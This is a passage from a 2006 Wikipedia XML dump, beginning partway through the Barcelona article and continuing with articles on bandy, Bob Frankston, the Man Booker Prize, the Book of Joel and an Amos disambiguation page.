The old harbour offers all kinds of other amenities, including the second largest [[aquarium]] in the Mediterranean area and an [[IMAX]] cinema.

To the north of the Gothic Quarter lie the Jardins de Fonseré i Mestre which contain modernist buildings housing zoological and geological collections. The adjacent Parc de la Ciutadella includes both the ''Parlament de Catalunya'' (Catalan Parliament) and the Parc Zoològic de Barcelona (zoo) whose most famous resident was an albino gorilla - [[Floquet de Neu]] (&quot;Snowflake&quot;) - that died in 2003.

===Modernist architecture===
[[Image:Sagradafamilia-overview.jpg|thumb|250px|The Sagrada Família church]]

Outstanding is the legacy of architect [[Antoni Gaudi|Antoni Gaudí]], who lived and worked in Barcelona, and who left several famous works like the [[Palau Güell]] in the city's old center, the [[Park Guell|Parc Güell]] at the northern tip of Gràcia, and the immense but still unfinished church of the [[Sagrada Familia|Sagrada Família]], which 
has been under construction since [[1882]], financed by popular donations like the cathedrals in the [[Middle Ages]] (However, it is not a [[cathedral]]: the cathedral of Barcelona is the [[Cathedral of Santa Eulalia|Cathedral of Santa Eulàlia]], a Gothic building of the late Middle Ages). The Sagrada Família is billed for completion in 2020.

Another very notable modernist building in the older part of the city is the [[Palau de la Música Catalana]], designed by [[Lluís Domènech i Montaner]] and built in [[1908]]. 

In the modern districts of the city are several avenues on which most of the international merchants offering clothing, jewelry, leather goods and other items have their stores. The most elegant avenue is the Passeig de Gràcia, where two Gaudí buildings are situated, the [[Pedrera|Casa Milà (La Pedrera)]] and the [[Casa Batlló]], along with buildings by other famous ''modernista'' architects: Casa Ametller by [[Josep Puig i Cadafalch]] and Casa Lleó Morera by Domènech i Montaner. Several of these buildings and indeed the [[Sagrada Familia]] church itself are threatened by Mayor Clos' plans to build a large railway tunnel for high-speed trains under the city's shaky 19th century foundations. In recent years, office developments along Passeig de Gràcia have been allowed to break up the architectural unity of the 19th and early 20th century buildings lining the avenue - a process which shows no signs of slackening. Property speculation is also blighting other areas of the city, including the 19th century Poble Nou district with its many interesting buildings dating from Catalonia's Industrial Revolution. Many of these have now been levelled to make room for the city's ill-starred &quot;22@&quot; project to build an area for ICT-based firms. 

&lt;!-- Unsourced image removed: [[Image:Poblenou.jpg|thumb|250px|&quot;Slash and burn&quot; property speculation in Poble Nou]] --&gt;

===Museums===
Art visits include the museum of the [[Fundació Joan Miró]], where several paintings and sculptures of this artist are shown, together with guest exhibitions from other museums around the world. There is also a unique museum featuring the lesser known works of [[Pablo Picasso]] from his earlier period. The [[Museu Nacional d'Art de Catalunya|National Museum of Art of Catalonia]] (in the Palau Nacional left behind by the 1929 Ibero-American Exposition) possesses a well-known collection of Romanesque art, including wall-paintings of Romanesque churches and chapels around Catalonia that have been transferred to the museum. The [[Museu d'Art Contemporani de Barcelona|Contemporary Art Museum]] is also worth a visit, not only because of its paintings and sculptures, but because of its architecture. The building was designed by the American architect [[Richard Meier]]. The [[Fundació Antoni Tàpies]] holds a collection of [[Antoni Tàpies|Tàpies]] works. Visitors should note that the opening times of Barcelona's museums vary considerably and are often highly inconvenient; careful planning is recommended to avoid wasted trips.

===Montjuïc and Tibidabo===
For spectacular views over the city and the coast line there are two hills. One, [[Montjuïc]] hill, is next to the harbour and perched above a large container terminal. On its top is an old fortress which used to guard the entrance to the port. Around the hill are a group of installations known as the &quot;Olympic ring&quot; and that were the heart of the 1992 summer Olympics: the Lluís Companys Olympic Stadium (originally built in 1929 but completely refurbished for the 1992 Olympics), the Palau Sant Jordi 
(a multi-purpose installation designed by Japanese architect [[Arata Isozaki]], used primarily for all kinds of indoor sport events but also for concerts and other cultural activities) and the Bernat Picornell Pools. Also situated on Montjuïc are the Botanical Gardens and the Mossèn Costa i Llobera gardens with their unique [[cactus]] collection. 

Uptown is the hill of the [[Tibidabo]], 512 meters high, with an amusement park (which, after a long economic struggle, now belongs to the city council) and a monumental church on its summit. The church mosaics provide a curious example of the religious art style much in vogue during the dictatorship. There's also the Torre de Collserola, a telecommunications tower designed by [[Norman Foster]] which also has a windowed balcony with a great view over the city.

===Sports===
Barcelona is the home city of two internationally-known [[football]] teams: [[FC Barcelona]], also known as ''Barça'', who play at the 100,000 capacity [[Camp Nou]] stadium, and [[RCD Espanyol]], who play at the 56,000 capacity Olympic Stadium. FC Barcelona has also internationally known [[basketball]], [[handball]] and [[roller hockey]] teams that play at the Palau Blaugrana, situated in the same complex as the Camp Nou.

Near Barcelona, in Montmeló, the [[Circuit de Catalunya]] racetrack hosts the Formula One Spanish Grand Prix.

===Academia===
In addition to the [[University of Barcelona]], the city is home to the [[Universitat Pompeu Fabra]], the [[Autonomous University of Barcelona]], the [[Technical University of Catalonia]], the [[Ramon Llull University]] and the [[International University of Catalonia]].

===Other sights===
The [[aerial tramway]] connecting the port and Montjuïc.

==World Heritage Sites in Barcelona==
[[United Nations Educational, Scientific and Cultural Organization|UNESCO]] [[World Heritage Sites]] in Barcelona:
*[[Casa Milà]] (La Pedrera)
*[[Hospital de Sant Pau]]
*[[Palau Güell]]
*[[Palau de la Música Catalana]]
*[[Parc Güell]]
*[[Casa Batlló]]
*[[Casa Vicens]]
*[[Sagrada Família]] (Nativity façade and crypt)

==Some of the sights==
{|
|-
| valign=&quot;top&quot;|
[[Image:LaRambla3.JPG|thumb|left|150px|View of La Rambla]]
| valign=&quot;top&quot;|
[[Image:OlympicStadiumBCN1992.JPG|thumb|left|150px|Torre Montjuïc Calatrava (Telecommunications Tower)]]
| valign=&quot;top&quot;|
[[Image:PlayaBacelonetta2.JPG|thumb|left|150px|The two highest buildings in Barcelona, the Hotel Arts (l.) and the Torre Mapfre (each 154 m) seen from Platja de la Barceloneta]]
|-
| valign=&quot;top&quot;|
[[Image:ParcDiagonalMar.JPG|thumb|left|150px|Parc Diagonal Mar]]
| valign=&quot;top&quot;|
[[Image:ParcGüell.JPG|thumb|left|150px|Parc Güell]]
| valign=&quot;top&quot;|
[[Image:PortVell.JPG|thumb|left|150px|Rambla de Mar in Port Vell (Old Port)]]
|}

== Public Transport ==
In addition to its port, of great historical and contemporary commercial importance, Barcelona is served by [[El Prat International Airport]] ('El Prat') in the town of [[El Prat de Llobregat]].

Barcelona is a hub for [[RENFE]], the Spanish state railway network, and its main suburban train station is Sants Estació (which is under renovation and enlargement at present in order to prepare for the arrival of the [[AVE]] system). The [[AVE]] [[high-speed rail]] system was recently extended from [[Madrid]] to [[Lleida]] in western Catalonia, and is expected to reach Barcelona by 2007. Renfe and the [[Ferrocarrils de la Generalitat de Catalunya]] (FGC) run Barcelona's widespread [[commuter train]] service. Barcelona's transit company, Transports Metropolitans de Barcelona (TMB), runs the [[Barcelona Metro]] system and city [[buses|bus]]. See [[List of Barcelona metro stations]]. Barcelona has recently adopted another transport option with two new tram lines known as [[Trambaix]] and [[Trambesòs]].

== Parks ==
Barcelona is renowned for its parks and open spaces, La Rambla, Parc Güell and the beaches being the most famous of them. See above for a description of La Rambla. See separate article on [[Parc Güell]] ([[1914]]), the large fantastical park designed by [[Antoni Gaudí]] as a private housing estate and opened to the public in [[1922]].

The site of the [[Barcelona International Exhibition]] in [[1929]] and [[1930]], the Parc de [[Montjuïc]] was laid out by engineer Jean C. N. Forestier and architect Nicolas M. Rubio Tuduri. It is chiefly notable now for the cultural institutions that use the former palaces and exposition buildings. The [[Barcelona Pavilion|German Pavilion]], a landmark of modern architecture designed by [[Ludwig Mies van der Rohe]] for the 1929 Exhibition, was reconstructed on its original site in [[1986]]. Montjuïc Stadium was renovated and enlarged by [[Vittorio Gregotti]] for the 1992 Summer Olympic Games.

In [[1983]] the Plaça dels Països Catalans in front of the Sants railway station was redesigned by Helio Piñon Pallares and Albert Vaiplana Vea in pink [[granite]] paving with an undulating metal pergola and various hard furnishings that have become popular with skateboarders. At the same time, the neighboring ''Vapor Nou'' factory, was converted into the Parc de la Espanya Industrial for public recreation. This park, designed by Luis Peña Ganchegui and Francesc Rius Camps and completed in [[1985]] integrated the industrial shapes of the site with a dominant water feature and displays of sculpture. 

Since [[1983]] a formal program of park creation has been carried out by the ''Mancomunitat de Municipis de l'Àrea Metropolitana de Barcelona''. The purpose of this program has been to reclaim space for the public which is threatened either by neglect or overdevelopment. Typically these new parks are carefully designed by architects, planners and landscape architects concerned not just with functional elements, but also with the unique characteristics of the site and its position in a layered understanding of the city. Though the budgets may be small, the level of ingenuity and care in design and implementation is often very high. Some examples (note that many are in the metropolitan area, not in Barcelona itself):

*Carrer Brasil, [[1996]], Olga Tarraso and Jordi Hernrich. A Rambla built over parking spaces.
*Parc del Torrent Ballesters (Viladecans), [[1997]], Arturo Frediani/SOB Associates. The design recaptures the pattern of agricultural use using beds of flowering plants. Trees and a pool strengthen the sensual escape from the surrounding city.
*Parc de Canserra (Barberà del Vallès), [[1996]], Studio BCQ
*Parc de Torrent Congost (Granollers), [[1996]], Enric Battle and Joan Roig. A narrow linear park defined by hedge walls and a grid of trees on the bank of the Congost River.
*Upgrading of Parc de Torreblanca, the historical site of an urban farm.
*Fontsana, Sant Joan Despí on the site of a former refuse dump.
*Parc del Besòs, La Mina housing estate.
*Parc de les Planes, located at the boundary of three districts.
*Parc del Litoral, at the mouth of the River Besòs.
*Parc de la Creueta del Coll, [[1987]], [[Oriol Bohigas]], Josep Martorell, David Mackay, architects. Once a quarry, it now boasts an artificial lake that serves as a public swimming pool in summer; it contains a magnificent statue by the Basque artist Eduardo Chillida.
*Parc Nou del Prat, on the Llobregat delta, adjoining Sant Cosme and the airport

This program of planned parks is often among the civic improvements for which the city actively seeks international events as spurs for redevelopment. For example, the upgrades to Montjuïc and the seaside industrial areas for the 1992 Olympic Games were accompanied by the building of recreational facilities in other parts of the city lacking development. One notable site is the Vall d'Hebron, a deep ravine in the foothills of the [[Collserola]] range north of the city. The urban design by Eduard Bru created a terraced sequence of belvedere-like platforms with views of the city.

==Crime==
Barcelona, like other big cities, has a large number of criminals who mainly prey on tourists. They usually work in groups whereby the victim is distracted by one party while being robbed by another party. Many pickpockets are known to the police and some have been arrested hundreds of times only to be released once the police have filled in a report. Stealing money or goods worth less than about $360 without the use or threat of violence is classified as ''hurto'' or petty theft under Spanish law and is treated as a minor misdemeanor no matter how many times it is repeated. The problem is compounded by the few policemen &quot;walking the beat&quot; in Barcelona, even though the city has one of the highest police to citizen ratios in Europe.
Areas where one should be particularly careful are the [[Barri Gòtic]], [[El Raval]], and the [[Rambla]].    Internet cafes are a popular target in general.  It is not uncommon for thieves to cut bags and backpack straps.  Mobile phone theft is also a popular petty theft crime when tourists leave their phones on tabletops. 


== Sister Cities ==
* [[Boston]], [[Massachusetts]], [[USA]]

==See also==

*[[Municipal elections in Barcelona]]

==External links==
{{Wiktionary}}
{{commons|Barcelona|Barcelona}}
*{{wikitravel}}
*[http://www.bcn.cat/english/ihome.htm Official Web Site of Barcelona]
*[http://www.barcelona.com Barcelona.com]Barcelona city guide
*[http://www.lovento.com/cities/Barcelona Barcelona Nightlife, Venues, Events and Community] Independent Barcelona Nightlife Information without all this accommodation advertisement. Enjoy!
*[http://www.barcelonanews.com/ Barcelona News] Newspaper
*[http://www.barcelonareporter.com/ Barcelona Reporter] Newspaper
*[http://www.geocities.com/medit1976/index.htm Arquitectura Barcelona] - Chronology of Catalan architecture and biographies of Catalan architects from the Gothic master builders to those working today
*[http://spain.archiseek.com/catalunya/barcelona/index.html Architecture of Barcelona] at Archiseek.com
*[http://itineraris.coac.net/itineraris/angles/index.htm Barcelona's Architecture Itineraries]
*[http://www.lodgephoto.com/galleries/spain/barcelona/ Photographs of Barcelona] - good section on La Boqueria market (English captions)
*[http://bcnip.blogsome.com/ Barcelona in progress] - News and images of everything related to projects of the new Barcelona.
*[http://www.barcelona-home.com/images/mapabcn.gif Map of Barcelona Neighborhoods]
*[http://www.catalunya.co.uk/barcelona-history.htm The history of Barcelona]
*[http://www.xbarcelona.com xbarcelona.com] 100% non-profit website about living and working in Barcelona.
*[http://barcelonaphotoblog.blogspot.com/ Barcelona Daily Photo]
{{Olympic Summer Games Host Cities}}


[[Category:Barcelona| ]]
[[Category:Cities and towns in Catalonia]]
[[Category:Coastal cities]]
[[Category:Host cities of the Summer Olympic Games]]
[[Category:Ports and harbours of Spain]]
[[Category:Phoenician colonies]]

[[ar:برشلونة]]
[[an:Barzelona]]
[[ast:Barcelona]]
[[bg:Барселона]]
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[[cs:Barcelona]]
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[[el:Βαρκελώνη]]
[[es:Barcelona]]
[[eo:Barcelono]]
[[eu:Bartzelona]]
[[fa:بارسلون]]
[[fr:Barcelone]]
[[ga:Barcelona]]
[[gl:Barcelona]]
[[ka:ბარსელონა]]
[[ko:바르셀로나]]
[[io:Barcelona]]
[[id:Barcelona]]
[[ia:Barcelona]]
[[is:Barcelona]]
[[it:Barcellona]]
[[he:ברצלונה]]
[[la:Barcino]]
[[lb:Barcelona]]
[[lv:Barselona]]
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[[hu:Barcelona]]
[[nl:Barcelona]]
[[nds:Barcelona]]
[[ja:バルセロナ市]]
[[no:Barcelona]]
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[[tr:Barselona]]
[[zh:巴塞罗那]]</text>
    </revision>
  </page>
  <page>
    <title>Bandy</title>
    <id>4444</id>
    <revision>
      <id>41783217</id>
      <timestamp>2006-03-01T18:47:10Z</timestamp>
      <contributor>
        <ip>82.197.0.208</ip>
      </contributor>
      <comment>/* National Bandy Federations */</comment>
      <text xml:space="preserve">'''Bandy''' is a [[winter]] [[sport]], where a ball is hit with a stick.  It is often considered to be an ancestor of [[ice hockey]], but there is no definite historical evidence for this theory. It likely descended from [[shinty]] and in turn [[field hockey]]. Bandy is played outdoors on a sheet of ice, and has rules that are similar to [[football (soccer)|association football]].

{{wiktionarypar|bandy}}
A [[synonym]] to bandy used to be the term '''hockey on ice''', due to the sport being &quot;field hockey played on ice&quot;, but since this term can be confused with ''ice hockey'', most people prefer the term bandy nowadays.

Bandy is now played in a few nations, including [[Belarus]], [[Canada]], [[Estonia]], [[Finland]], [[Hungary]], [[Kazakhstan]], the [[Netherlands]], [[Norway]], [[Russia]], [[Sweden]] and the [[United States]]. 

==Rules==

The size of a bandy field is in the range [[1 E3 m²|4,050 - 7,150]] [[square metre]]s ([[1 E1 m|45-65 by 90-100]] [[metre]]s), about the same size as a [[Football (soccer) field|football field]]. The size of the ball is [[1 E-3 m|60-65 mm]] and it is usually red to orange in colour. The goal measures 7 ft by 11½ ft.

Each team has 11 players in the field at one time, including a goalkeeper. While the goalkeeper wears more padding than other players he or she does not use a stick, but the goalkeeper is the only player allowed to use his hands to control the ball.  

A game goes on for two 45 minute halves. A ten minute interval takes place at half-time when the teams change ends. Ties are usually broken with 15 minute overtime periods. 

The rules of bandy are overall very similar to the rules of [[football (soccer)|association football]].

==International==

===Bandy in the Olympics===

Bandy was the [[demonstration sport]] at the [[VI Olympic Winter Games]] in [[1952 in sports|1952]] ([[Oslo]], Norway). 

Even if the [[IOC]] frequently states that they are looking for more sports to add to the Winter Game programmes, bandy is still waiting for acceptance as an [[Olympic sports|Olympic sport]].

===World Championships===

World Championships for men were first held in [[1957]] and then semiannually starting in [[1961]], and every year since [[2003]]. There were 12 countries participating in the [[2006 in sports|2006]] championships: Belarus, Finland, Kazakhstan, Norway, Russia, Sweden (group A) and Canada, Estonia, Hungary, Mongolia, The Netherlands, United States (group B). Finland won the [[2004 in sports|2004]] world championship. All the previous championships were won by the [[Soviet Union]], [[Russia]], or [[Sweden]].

In February 2004, Finland hosted the first World Championship for women. Sweden won the tournament. The second women's World Championships were held in [[Roseville, Minnesota]] in the USA in 2006. The outcome was, Sweden defeated Russia in the final (3-1).

For all the tournaments since 1957, see [[Bandy World Championships]].

===World Cup===

There is an annual [[Bandy World Cup]] held in [[Ljusdal Municipality|Ljusdal]] in Sweden. This is not played by national teams but is for bandy clubs from around the world.

===International federation===

FIB, the [[Federation of International Bandy]], has 15 members (2004).

==Bandy in Britain== 
A game similar to bandy was once known in [[Wales]] as ''bando'', known throughout the country in varying forms and still to be found in some areas. The earliest example of the [[Welsh language]] term ''bando'' occurs in a dictionary by John Walters published in 1770&amp;ndash;94. It was particularly popular in the Cynfdg-Margam district of the Vale of [[Glamorgan]] where wide stretches of sandy beaches afforded ample room for play.

Modern bandy was founded in England in the 19th century. The first rules were written down in 1891 by [[Charles Goodmann Tebbutt]] from [[Bluntisham]] near [[Saint Ives]]. Goodmann Tebbutt also took initiatives to international exchange, particularly with the [[Netherlands]] and introduced bandy in Sweden and Norway (where it is still played today) and a couple of other countries. England won the first European Championships in 1913. Goodman Tebbutts home-made bandy stick can be seen in the [[Norris Museum]] in Saint Ives.

==Bandy in Russia==
In Russia bandy is known as hockey with a ball or simply Russian hockey. The game became popular among nobility in early 1700s, with the royal court of [[Peter I of Russia|Peter I the Great]] entertaining the crowds playing bandy on [[Saint Petersburg]] frozen [[Neva]] river. Russians played in bandy with sticks made out of juniper wood later adopting metal skis (imported by Peter I from Holland). By second half of the 19th century the game became also popular among the masses throughout the [[Russian Empire]]. Russia has since adopted the international rules of the game developed in England.

==Bandy in Sweden==
Bandy was introduced to Sweden in 1895. The Swedish royal family, barons and diplomats were the first players. In the 1920's students played the game and it became a largely middle class sport. After [[Slottsbron]] won the Swedish title in 1934 it became popular amongst workers in the smaller industrial towns and villages. Bandy remains the main winter sport in many of these places.

Bandy in Sweden is famous for its &quot;culture&quot; - both playing bandy and being a spectator requires great fortitude and dedication. A &quot;bandy briefcase&quot; is the classic accessory for spectating - it must be made of brown leather, well worn and contain a warm drink in a thermos and/or a flask of liquor.

The play-off match for the Swedish Championship is played every year on the third Sunday of March in [[Uppsala]].

==External links==
*[http://www.geocities.com/Colosseum/Track/2049/English/Bandyhistory.html What is Bandy?] - History and rules of Bandy.
*[http://www.dmoz.org/Sports/Hockey/Bandy/ Bandy] - Category about Bandy at the [[Open Directory Project]]. 
*[http://www.internationalbandy.com/ International Bandy Federation]
*[http://www.bandyref.com/index International Bandy Referees]
*[http://www.bandysidan.nu/?sida=lankar&amp;sprak=eng Bandysidan links] - One of the most extensive link directories about bandy
*[http://www.stives-town.info/norris_museum.htm Norris Museum] - Link to the Norris Museum of Saint Ives

===National Bandy Federations===
*[[Canada]] - Canada Bandy [http://www.canadabandy.ca/]
*[[Belarus]] - 
*[[Estonia]] -
*[[Finland]] - [http://www.finbandy.fi]
*[[Hungary]] - 
*[[India]] - (not full member yet)
*[[Italy]] - (not full member yet)
*[[Kazakstan]] -
*[[Kyrgyzstan]] -
*[[Mongolia]] - 
*[[Netherlands]] - [[Dutch Bandy Federation]] [http://www.bandynijmegen.nl]
*[[Poland]] - 
*[[Norway]] - [[Norges Bandyforbund]] [http://www.bandyforbundet.no/bandy/]
*[[Russia]] - Russian bandy federation [http://www.rusbandy.ru/]
*[[Sweden]] - [[Svenska bandyförbundet]] [http://www.svenskbandy.se/]
*[[United States]] - [[American Bandy Association]] [http://www.usabandy.com/]

[[Category:Team sports]] 
[[Category:Bandy]]
[[Category:Winter sports]]
[[Category:Hockey]][[Category:Skating]][[Category:Ball games]]

[[de:Bandy]]
[[et:Jääpall]]
[[fr:Bandy]]
[[it:Bandy]]
[[ja:バンディ]]
[[no:Bandy]]
[[nn:Bandy]]
[[fi:Jääpallo]]
[[sv:Bandy]]
[[ru:Хоккей с мячом]]</text>
    </revision>
  </page>
  <page>
    <title>Bob Frankston</title>
    <id>4445</id>
    <revision>
      <id>38167343</id>
      <timestamp>2006-02-04T17:37:48Z</timestamp>
      <contributor>
        <username>RossPatterson</username>
        <id>82308</id>
      </contributor>
      <minor />
      <comment>+cat: Living people</comment>
      <text xml:space="preserve">'''Robert (Bob) M. Frankston''' (born in [[1949]]) is the co-creator with [[Dan Bricklin]] of the [[VisiCalc]] spreadsheet program and the co-founder of [[Software Arts]], the company that developed it.

Frankston graduated in [[1966]] from [[Stuyvesant High School]] in [[New York, New York|New York City]] and in [[1970]] from [[Massachusetts Institute of Technology|M.I.T.]]  He is a Fellow of the [[Association for Computing Machinery]].

{{compu-bio-stub}}

[[Category:Stuyvesant High School alumni|Frankston, Bob]]
[[Category:Living people|Frankston, Bob]]

Son, Seth Elkin-Frankston and Ethan Elkin-Frankston

==External links==
*[http://www.frankston.com Bob Frankston's site/blog]</text>
    </revision>
  </page>
  <page>
    <title>Man Booker Prize</title>
    <id>4446</id>
    <revision>
      <id>41154790</id>
      <timestamp>2006-02-25T11:22:06Z</timestamp>
      <contributor>
        <username>Mel Etitis</username>
        <id>159495</id>
      </contributor>
      <minor />
      <comment>wikilink</comment>
      <text xml:space="preserve">The '''Man Booker Prize for Fiction''', also often known as the '''Booker Prize''', is one of the world's most prestigious [[List of prizes, medals, and awards#Arts and letters|literary prizes]], and awarded each year for the best original full-length [[novel]] written by a citizen of the [[Commonwealth of Nations|Commonwealth]]  or the [[Republic of Ireland]] in the [[English language]]. A separate prize for which any living [[author]] in the world may qualify, the [[Man Booker International Prize]], was inaugurated in 2005. A Russian version of the Booker Prize, the [[Russian Booker Prize]], was created in [[1992]].

The winner of the Man Booker will generally be assured of international fame and success. It is also a mark of distinction for an author's work to be selected for inclusion on the Booker longlist or [[Short list|shortlist]].

The prize was originally known as the '''Booker-McConnell Prize''', after the company Booker-McConnell plc began sponsoring the event in [[1968]], and became commonly known as the &quot;Booker Prize&quot; or simply &quot;the Booker&quot;. When administration of the prize was transferred to the Booker Prize Foundation in [[2002]], the title sponsor became the investment company [[Man Group|Man Group plc]], which opted to retain &quot;Booker&quot; as part of the official title of the prize.

The prize money awarded with the Booker Prize was originally £21,000, and was subsequently raised to £50,000 in [[2002]] under the sponsorship of Man Group.

==Judging==
The selection process for the winner of the prize commences with the formation of an advisory committee which includes an author, two publishers, a literary agent, a bookseller, a librarian, and a chairperson appointed by the Booker Prize Foundation. The advisory committee then selects the judging panel, the membership of which changes each year, although on rare occasions a judge may be selected a second time.

To maintain the consistent excellence of the prize, judges are selected from amongst leading literary critics, writers, academics and notable public figures.

==Winners==
{{main|List of winners and shortlisted authors of the Booker Prize for Fiction}}

==Some statistics==
*Publishers may submit books for consideration and judges may call for books to be submitted. In [[2002]], 110 were submitted and another ten were called.
*The list of books making the longlist was first released in [[2001]]. In [[2003]] there were 23 books on the longlist, in 2002 there were 20 and in 2001 there were 24. 
*For the first 35 years of the Booker there were only five years when fewer than six books were on the shortlist, and two years ([[1980]] and [[1981]]) when there were seven on the shortlist.

*As of [[2003]]:
**Over the first 35 years there were a total of 201 novels from 134 authors on the shortlists.
**Of the 97 novelists nominated once, there were 13 winners and three co-winners.
**Of the 19 novelists nominated twice, there were seven winners and one two-time winner ([[J. M. Coetzee]]).
**Of the ten novelists nominated three times, there were four winners, one co-winner and one two-time winner ([[Peter Carey]]).
**Of the five four-time nominees, all but [[William Trevor]] have won once. The other four-time nominees are [[Ian McEwan]], [[Salman Rushdie]], [[Thomas Keneally]] and [[Penelope Fitzgerald]].
**There have only been two five-time nominees, [[Margaret Atwood]] (first nominated in [[1986]] and won in [[2000]]) and [[Beryl Bainbridge]] (nominated twice in the [[1970s]] and three times in the [[1990s]], but never won).
**There has been only one six-time nominee, [[Iris Murdoch]], who won on her fourth nomination in [[1978]] and was nominated twice more in the [[1980s]].

==See also==
*The [[Commonwealth Writers Prize]]
*The [[National Book Award]]
*The [[Prix Goncourt]]
*The [[Whitbread literary award]]

==External links==
*[http://www.themanbookerprize.com/ The official website of the Man Booker Prize]
*[http://www.turbobooksnob.com/ TurboBookSnob.com &amp;ndash; provides information about the Booker, predictions of the winner, book recommendations, and literary links.]
*[http://www.awardannals.com/award/booker/ The Book Award Annals &amp;ndash; Booker winners and shortlists]
*[http://www.almaz.com/booker/ Another listing of Booker winners and shortlists]

[[Category:British literary awards]]
[[Category:Fiction awards]]
[[Category:1968 establishments]]

[[da:Bookerpris]]
[[de:Booker Prize]]
[[eo:Premio Booker]]
[[fr:Prix Booker]]
[[hr:Nagrada Booker]]
[[hu:Man Booker-díj]]
[[nl:Booker Prize]]
[[ja:ブッカー賞]]
[[no:Bookerprisen]]
[[pl:Booker Prize]]
[[fi:Booker-palkinto]]
[[zh:布克奖]]</text>
    </revision>
  </page>
  <page>
    <title>Book of Joel</title>
    <id>4447</id>
    <revision>
      <id>37984429</id>
      <timestamp>2006-02-03T10:59:52Z</timestamp>
      <contributor>
        <username>Fred Bradstadt</username>
        <id>222638</id>
      </contributor>
      <minor />
      <comment>/* Use in the New Testament */ wikitable</comment>
      <text xml:space="preserve">{{Books of the Old Testament}}
{{Books of Nevi'im}}
==Overview of Contents==

The book of '''Joel''' (MEW) is part of the Jewish [[Hebrew Bible]], the [[Tanakh]], and also the [[Old Testament]] of the [[Christian]] [[Bible]].  Joel is part of a group of twelve prophetic books known as the [[Minor Prophets]] or simply as [[The Twelve]]; the distinction 'minor' indicates the short length of the text in relation to the larger prophetic texts known as the [[Major prophet|Major Prophets]].

==The Prophet==
[[Joel]] was probably a resident in [[kingdom of Judah|Judah]], as his commission was to that people. He makes frequent mention of Judah and [[Jerusalem]] (1:14; 2:1, 15, 32; 3:1, 12, 17, 20, 21). The name Joel was common in Israel, and means, &quot;the Lord is God.&quot;

==Historical Context==

Scholars debate the date of Joel with three main schools:

*835-796BC  During the time when Joash was too young to govern and Jehoiada did so in his place (2 Kings 11; 2 Chron. 23-24).

*About 775-725BC Roughly contemporary with [[Book of Hosea|Hosea]] and [[Book of Amos|Amos]].

*About 500BC Roughly contemporary with [[Book of Zechariah|Zechariah]].

==Sections and Themes==

#A prophecy of a great public calamity then impending over the land, consisting of a want of water and an extraordinary plague of locusts (1:1-2:11).
#The prophet then calls on his countrymen to repent and to turn to God, assuring them of his readiness to forgive (2:12-17), and foretelling the restoration of the land to its accustomed fruitfulness (18-26). 
#Then follows a prophecy which is interpreted as Messianic within Christian tradition.
#Finally, the prophet foretells portents and judgments as destined to fall on the enemies of God (ch. 3, but in the Hebrew text 4).

==Use in the New Testament==
{| class=&quot;wikitable&quot;
|-
!Joel !! New Testament
|-
|Then afterwards I will pour out my spirit on all flesh; your sons and your daughters shall prophesy, your old men shall dream dreams, and your young men shall see visions. Even on the male and female slaves, in those days, I will pour out my spirit. I will show portents in the heavens and on the earth, blood and fire and columns of smoke. The sun shall be turned to darkness, and the moon to blood, before the great and terrible day of the LORD comes. Then everyone who calls on the name of the LORD shall be saved; for in Mount Zion and in Jerusalem there shall be those who escape, as the LORD has said, and among the survivors shall be those whom the LORD calls. (Joel 2:28-32) || &quot;In the last days it will be, God declares, that I will pour out my Spirit upon all flesh, and your sons and your daughters shall prophesy, and your young men shall see visions, and your old men shall dream dreams. Even upon my slaves, both men and women, in those days I will pour out my Spirit;and they shall prophesy. And I will show portents in the heaven above and signs on the earth below,blood, and fire, and smoky mist. The sun shall be turned to darkness and the moon to blood,before the coming of the Lord’s great and glorious day. Then everyone who calls on the name of the Lord shall be saved.&quot; (Acts 2:17-21)
|-
|Then everyone who calls on the name of the LORD shall be saved; for in Mount Zion and in Jerusalem there shall be those who escape, as the LORD has said, and among the survivors shall be those whom the LORD calls. (Joel 2:32) || For, 'Everyone who calls on the name of the Lord shall be saved.' (Romans 10:13)
|}

All quotations taken from the [[New Revised Standard Version]].

==External links==
*[http://www.jewishencyclopedia.com/view.jsp?artid=341&amp;letter=J ''Jewish Encyclopedia'']: Book of Joel
*[http://www.newadvent.org/cathen/08419a.htm ''Catholic Encyclopedia'']: Joel

===Links to Translations===
[[Judaism|Jewish]] translations:
* [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15759 Yoel - Joel (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

[[Christian]] translations:
* [http://www.anova.org/sev/htm/hb/29_joel.htm Joel at The Great Books] (New Revised Standard Version)
* [http://www.biblegateway.com/passage/index.php?search=joel&amp;version=31 Joel at BibleGateway] (New International Version and others)
* [http://wikisource.org/wiki/Bible%2C_English%2C_King_James%2C_Joel Joel at Wikisource] (Authorised King James Version)
* [http://www.blueletterbible.org/kjv/Joe/Joe001.html#top Joel at BlueLetter Bible] (King James Version and others, plus commentaries)

==Sources==
Thomas J. Finley, Everyman's Bible Commentary: Joel, Obadiah, and Micah. (Chicago: Moody Press, 1996)

Douglas Stuary, Word Biblical Commentary: Hosea - Jonah. (Waco, Texas: Word Books, 1987)

William Sanford LaSor, Old Testament Survey: The Message, Form, and Background of the Old Testament, 2nd Ed. (Grand Rapids, Michigan: Wm. B. Eerdsmans Publishing Co., 1996)

[[Category:Nevi'im|Joel, Book of]]
[[Category:Old Testament books|Joel]]

[[de:Joël (Buch)]]
[[fr:Livre de Joël]]
[[ko:요엘 (구약성서)]]
[[id:Yoel]]
[[he:יואל]]
[[jv:Yoel]]
[[nl:Joël]]
[[pl:Księga Joela]]
[[fi:Joelin kirja]]
[[sv:Joel]]
[[zh:約珥書]]</text>
    </revision>
  </page>
  <page>
    <title>Amos</title>
    <id>4448</id>
    <revision>
      <id>39012070</id>
      <timestamp>2006-02-10T02:57:15Z</timestamp>
      <contributor>
        <username>Wknight94</username>
        <id>352579</id>
      </contributor>
      <comment>rv non-notable addition</comment>
      <text xml:space="preserve">* '''Amos''' was one of the [[Minor Prophets]] (see [[Amos (prophet)]]) and putative author of the [[Book of Amos]]'
*'''AMOS''' is the name of a series of [[Israel]]i ([[Israel Aircraft Industries|IAI]]-built) civilian [[communications satellite]]s in [[Geostationary orbit]] (launched 1996, [[2003]]). See ''[[:he:עמוס 2]]''
* [[Amos, son of Nephi]] and [[Amos, son of Amos]] are two minor figures in the [[Book of Mormon]]
* '''AMOS BASIC''' is a [[programming language]] for the [[Amiga|Commodore Amiga]] computer. See [[AMOS BASIC programming language]]
* '''AMOS''' is the Advanced MOrtar System. See [[AMOS]]
* '''AMOS''' is the [[Air Force Maui Optical and Supercomputing observatory]].
* '''Amos''' is a town in Québec. See [[Amos, Quebec]]
* '''Amos''' is the name of a [[cookie]] company, See [[Famous Amos]]
** And its founder. See [[Wally Amos]]
